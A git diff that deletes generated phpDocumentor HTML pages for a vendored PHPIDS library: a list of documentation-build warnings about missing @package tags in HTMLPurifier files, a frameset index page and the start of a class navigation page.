-<b>Warning on line 13</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Presentation<br> -<b>Warning on line 28</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Presentation.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Printer.php"></a> -<h1>Printer.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Printer<br> -<b>Warning on line 37</b> - Unknown tag "@note" used<br> -<b>Warning on line 165</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Printer.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Proprietary.php"></a> -<h1>Proprietary.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_Proprietary<br> -<b>Warning on line 6</b> - Unknown tag "@warning" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Proprietary<br> -<b>Warning on line 20</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Proprietary.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 30</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Proprietary.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="PurifierLinkify.php"></a> -<h1>PurifierLinkify.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_PurifierLinkify<br> -<b>Warning on line 42</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/PurifierLinkify.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="RemoveEmpty.php"></a> -<h1>RemoveEmpty.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_RemoveEmpty<br> -<b>Warning on line 39</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveEmpty.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="RemoveForeignElements.php"></a> -<h1>RemoveForeignElements.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_RemoveForeignElements<br> -<b>Warning on line 168</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/RemoveForeignElements.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Required.php"></a> -<h1>Required.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Required<br> -<b>Warning on line 104</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Required.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Ruby.php"></a> -<h1>Ruby.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Ruby<br> -<b>Warning on line 24</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Ruby.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="SafeEmbed.php"></a> -<h1>SafeEmbed.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_SafeEmbed<br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_SafeEmbed<br> -<b>Warning on line 12</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeEmbed.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 30</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeEmbed.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="SafeObject.php"></a> -<h1>SafeObject.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_SafeObject<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Injector_SafeObject<br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_SafeObject<br> -<b>Warning on line 13</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeObject.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 47</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/SafeObject.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 84</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/SafeObject.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="SafeParam.php"></a> -<h1>SafeParam.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 14</b> - Unknown tag "@note" used<br> -<b>Warning on line 14</b> - Unknown tag "@warning" used<br> -<b>Warning on line 15</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_SafeParam<br> -<b>Warning on line 47</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Scripting.php"></a> -<h1>Scripting.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 15</b> - Unknown tag "@note" used<br> -<b>Warning on line 16</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Scripting<br> -<b>Warning on line 51</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Scripting.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ScriptRequired.php"></a> -<h1>ScriptRequired.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_ScriptRequired<br> -<b>Warning on line 13</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ScriptRequired.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Serializer.php"></a> -<h1>Serializer.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 4</b> - no @package tag was used in a DocBlock for class HTMLPurifier_DefinitionCache_Serializer<br> -<b>Warning on line 79</b> - Unknown tag "@note" used<br> -<b>Warning on line 169</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Session.php"></a> -<h1>Session.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 33</b> - Page-level DocBlock precedes "require_once 'IDS/Caching/Interface.php'", use another DocBlock to document the source element<br> -<h2>Errors:</h2><br> -<b>Error on line 33</b> - require_once include's DocBlock has @package tag, illegal. ignoring tag "@package PHPIDS"<br> -<a name="Simple.php"></a> -<h1>Simple.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_TagTransform_Simple<br> -<b>Warning on line 32</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform/Simple.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="SimpleCheck.php"></a> -<h1>SimpleCheck.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI_Email_SimpleCheck<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Start.php"></a> -<h1>Start.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_Start<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Start.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Strategy.php"></a> -<h1>Strategy.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy<br> -<b>Warning on line 23</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Strict.php"></a> -<h1>Strict.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_Strict<br> -<b>Warning on line 18</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Strict.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="StrictBlockquote.php"></a> -<h1>StrictBlockquote.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_StrictBlockquote<br> -<b>Warning on line 17</b> - Unknown tag "@note" used<br> -<b>Warning on line 85</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/StrictBlockquote.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="StringHash.php"></a> -<h1>StringHash.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 10</b> - Unknown tag "@warning" used<br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_StringHash<br> -<b>Warning on line 36</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHash.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="StringHashParser.php"></a> -<h1>StringHashParser.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 28</b> - no @package tag was used in a DocBlock for class HTMLPurifier_StringHashParser<br> -<b>Warning on line 67</b> - Unknown tag "@note" used<br> -<b>Warning on line 103</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="StyleAttribute.php"></a> -<h1>StyleAttribute.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_StyleAttribute<br> -<b>Warning on line 21</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/StyleAttribute.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Switch.php"></a> -<h1>Switch.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_Switch<br> -<b>Warning on line 31</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Switch.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Table.php"></a> -<h1>Table.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ChildDef_Table<br> -<b>Warning on line 139</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Tables.php"></a> -<h1>Tables.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tables<br> -<b>Warning on line 63</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tables.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Tag.php"></a> -<h1>Tag.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_Tag<br> -<b>Warning on line 22</b> - Unknown tag "@note" used<br> -<b>Warning on line 53</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Tag.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="TagTransform.php"></a> -<h1>TagTransform.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_TagTransform<br> -<b>Warning on line 28</b> - Unknown tag "@warning" used<br> -<b>Warning on line 33</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TagTransform.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Target.php"></a> -<h1>Target.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Target<br> -<b>Warning on line 20</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Target.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Text.php"></a> -<h1>Text.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_Text<br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token_Text<br> -<b>Warning on line 12</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/Text.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 14</b> - Unknown tag "@note" used<br> -<b>Warning on line 15</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Text<br> -<b>Warning on line 30</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token/Text.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 60</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Text.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Textarea.php"></a> -<h1>Textarea.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrTransform_Textarea<br> -<b>Warning on line 15</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Textarea.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="TextDecoration.php"></a> -<h1>TextDecoration.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - Unknown tag "@note" used<br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_TextDecoration<br> -<b>Warning on line 35</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/TextDecoration.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Tidy.php"></a> -<h1>Tidy.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 8</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy<br> -<b>Warning on line 171</b> - Unknown tag "@note" used<br> -<b>Warning on line 204</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Token.php"></a> -<h1>Token.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 5</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Token<br> -<b>Warning on line 53</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Token.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="TokenFactory.php"></a> -<h1>TokenFactory.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - Unknown tag "@note" used<br> -<b>Warning on line 14</b> - no @package tag was used in a DocBlock for class HTMLPurifier_TokenFactory<br> -<b>Warning on line 91</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/TokenFactory.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Transitional.php"></a> -<h1>Transitional.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_Transitional<br> -<b>Warning on line 6</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/Transitional.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="UnitConverter.php"></a> -<h1>UnitConverter.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_UnitConverter<br> -<b>Warning on line 76</b> - Unknown tag "@note" used<br> -<b>Warning on line 251</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/UnitConverter.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URI.php"></a> -<h1>URI.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - Unknown tag "@note" used<br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_URI<br> -<b>Warning on line 10</b> - Unknown tag "@note" used<br> -<b>Warning on line 11</b> - Unknown tag "@note" used<br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URI<br> -<b>Warning on line 11</b> - Unknown tag "@warning" used<br> -<b>Warning on line 12</b> - no @package tag was used in a DocBlock for class HTMLPurifier_AttrDef_CSS_URI<br> -<b>Warning on line 18</b> - Unknown tag "@note" used<br> -<b>Warning on line 53</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/URI.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 74</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<b>Warning on line 170</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URI.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URIDefinition.php"></a> -<h1>URIDefinition.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIDefinition<br> -<b>Warning on line 90</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIDefinition.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URIFilter.php"></a> -<h1>URIFilter.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 13</b> - Unknown tag "@warning" used<br> -<b>Warning on line 14</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIFilter<br> -<b>Warning on line 42</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URIParser.php"></a> -<h1>URIParser.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIParser<br> -<b>Warning on line 67</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIParser.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URIScheme.php"></a> -<h1>URIScheme.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URIScheme<br> -<b>Warning on line 34</b> - Unknown tag "@note" used<br> -<b>Warning on line 39</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIScheme.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="URISchemeRegistry.php"></a> -<h1>URISchemeRegistry.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_URISchemeRegistry<br> -<b>Warning on line 15</b> - Unknown tag "@note" used<br> -<b>Warning on line 66</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URISchemeRegistry.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ValidateAttributes.php"></a> -<h1>ValidateAttributes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Strategy_ValidateAttributes<br> -<b>Warning on line 36</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/ValidateAttributes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Validator.php"></a> -<h1>Validator.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 10</b> - Unknown tag "@note" used<br> -<b>Warning on line 11</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Validator<br> -<b>Warning on line 222</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="ValidatorAtom.php"></a> -<h1>ValidatorAtom.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 9</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_ValidatorAtom<br> -<b>Warning on line 63</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="VarParser.php"></a> -<h1>VarParser.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_VarParser<br> -<b>Warning on line 129</b> - Unknown tag "@note" used<br> -<b>Warning on line 151</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="VarParserException.php"></a> -<h1>VarParserException.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 6</b> - no @package tag was used in a DocBlock for class HTMLPurifier_VarParserException<br> -<b>Warning on line 8</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParserException.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="XHTML.php"></a> -<h1>XHTML.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_XHTML<br> -<b>Warning on line 14</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTML.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="XHTMLAndHTML4.php"></a> -<h1>XHTMLAndHTML4.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4<br> -<b>Warning on line 158</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="Xml.php"></a> -<h1>Xml.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 7</b> - no @package tag was used in a DocBlock for class HTMLPurifier_ConfigSchema_Builder_Xml<br> -<b>Warning on line 105</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="XMLCommonAttributes.php"></a> -<h1>XMLCommonAttributes.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_HTMLModule_XMLCommonAttributes<br> -<b>Warning on line 11</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/XMLCommonAttributes.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> -<a name="YouTube.php"></a> -<h1>YouTube.php</h1> -<h2>Warnings:</h2><br> -<b>Warning on line 3</b> - no @package tag was used in a DocBlock for class HTMLPurifier_Filter_YouTube<br> -<b>Warning on line 29</b> - File "/home/mario/workspace/php-ids.org/trunk/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Filter/YouTube.php" has no page-level DocBlock, use @package in the first DocBlock to create one<br> - <p class="notes" id="credit"> - Documentation generated on Mon, 22 Dec 2008 13:36:56 +0100 by <a href="http://www.phpdoc.org" target="_blank">phpDocumentor 1.4.2</a> - </p> - </body> -</html> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/index.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/index.html deleted file mode 100755 index 823da12a06d2c59fb4ca9f09297f6b337be4469f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/index.html +++ /dev/null @@ -1,24 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//FR" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <!-- Generated by phpDocumentor on Mon, 22 Dec 2008 13:36:38 +0100 --> - <title>Generated Documentation</title> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> -</head> - -<FRAMESET rows='120,*'> - <FRAME src='packages.html' name='left_top' frameborder="1" bordercolor="#999999"> - <FRAMESET cols='25%,*'> - <FRAME src='li_PHPIDS.html' name='left_bottom' frameborder="1" bordercolor="#999999"> - <FRAME src='blank.html' name='right' frameborder="1" bordercolor="#999999"> - </FRAMESET> - <NOFRAMES> - <H2>Frame Alert</H2> - <P>This document is designed to be viewed using the frames feature. - If you see this message, you are using a non-frame-capable web client.</P> - </NOFRAMES> -</FRAMESET> -</HTML> \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/li_PHPIDS.html b/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/li_PHPIDS.html deleted file mode 100755 index 826977afd88200fb88ca77417b946fa570b78422..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/docs/phpdocumentor/li_PHPIDS.html +++ /dev/null @@ -1,69 +0,0 @@ -<?xml version="1.0" encoding="iso-8859-1"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - <html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <!-- template designed by Marco Von Ballmoos --> - <title></title> - <link rel="stylesheet" href="media/stylesheet.css" /> - <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> - </head> - <body> - <div class="package-title">PHPIDS</div> -<div class="package-details"> - - <dl class="tree"> - - <dt class="folder-title">Description</dt> - <dd> - <a href='classtrees_PHPIDS.html' target='right'>Class trees</a><br /> - <a href='elementindex_PHPIDS.html' target='right'>Index of elements</a><br /> - </dd> - - - - <dt class="folder-title">Interfaces</dt> - <dd><a href='PHPIDS/IDS_Caching_Interface.html' target='right'>IDS_Caching_Interface</a></dd> - <dd><a href='PHPIDS/IDS_Log_Interface.html' target='right'>IDS_Log_Interface</a></dd> - <dt class="folder-title">Classes</dt> - <dd><a href='PHPIDS/IDS_Caching.html' target='right'>IDS_Caching</a></dd> - <dd><a href='PHPIDS/IDS_Caching_Database.html' target='right'>IDS_Caching_Database</a></dd> - <dd><a href='PHPIDS/IDS_Caching_File.html' target='right'>IDS_Caching_File</a></dd> - <dd><a href='PHPIDS/IDS_Caching_Memcached.html' target='right'>IDS_Caching_Memcached</a></dd> - <dd><a href='PHPIDS/IDS_Caching_Session.html' target='right'>IDS_Caching_Session</a></dd> - <dd><a href='PHPIDS/IDS_Converter.html' target='right'>IDS_Converter</a></dd> - <dd><a 